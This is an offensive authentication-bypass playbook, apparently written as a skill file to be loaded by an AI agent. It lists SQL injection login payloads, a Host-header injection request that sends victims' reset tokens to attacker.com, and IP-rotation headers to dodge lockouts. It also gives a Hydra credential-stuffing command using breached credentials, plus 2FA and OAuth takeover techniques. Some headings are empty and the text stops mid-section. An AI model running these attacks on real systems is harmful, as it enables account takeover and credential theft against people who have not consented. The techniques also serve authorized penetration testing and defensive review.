Authbypass Authentication Flaws

SKILL: Authentication Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.

0. AUTHORIZED CREDENTIAL TEST PLANNING

After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.

Service-first tiny sets

Username classes

Wordlist sizing and port focus

Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.

1. SQL INJECTION LOGIN BYPASS

Classic but still found in legacy systems, custom ORMs, and raw query code:

-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'

-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'

-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1

Test each field separately — only one field may be vulnerable.

2. PASSWORD RESET VULNERABILITIES

Guessable / Predictable Reset Tokens

Check if reset token is based on:

- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "user@example.com" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceable

Test: Request 3 consecutive reset emails, compare token patterns.

Reset Token Not Expiring

1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?

Reset Token Reuse

1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?

Host Header Injection in Reset Email

When application generates reset URL using Host header:

POST /forgot-password HTTP/1.1
Host: attacker.com           ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

→ Reset email sent to victim with link pointing to attacker.com/reset?token=VICTIM_TOKEN → Victim clicks → token captured by attacker

Test: Send password reset with modified Host:, check email for where reset link points.

Password Reset Token in Referer

1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logs

Password Change Without Current Password

PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover

3. ACCOUNT ENUMERATION

Identifying valid usernames/emails enables targeted attacks:

Error Message Difference

Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accounts

Response Time Difference

Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oracle

Password Reset Flow

POST /forgot-password {"email": "nonexistent@example.com"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)

Registration Endpoint

POST /register {"email": "victim@example.com"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration

4. BRUTE FORCE BYPASS

Lockout After N Attempts Then Resets

Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockout

IP-Based Lockout Bypass

X-Forwarded-For: 1.1.1.1       ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in header

Username Cycling vs Password Cycling

Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked out

Credential Stuffing

Use breached credentials from HaveIBeenPwned datasets against target:

# Tools: Hydra, Burp Intruder, custom scripts
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"

5. MULTI-FACTOR AUTHENTICATION BYPASS

Session Cookie Before 2FA Completion

Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely

2FA Code Brute Force

4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window

2FA on Critical Actions Not On Login

Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions

2FA Backup Code Abuse

Generate backup codes (usually 8-10 single-use)
Test: 
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit

2FA Code Reuse

TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes

6. OAUTH / SSO ACCOUNT TAKEOVER PATTERNS

Email Claim Trust

1. Create account at attacker-controlled OAuth provider
2. Set email claim = victim@target.com
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeover

Password Doesn't Apply After SSO Link

1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?  
→ Can set password → now bypass SSO → direct login

7. USERNAME / PASSWORD FIELD MANIPULATION

Long Password DoS → Bypass

Some apps hash passwords before sending to database.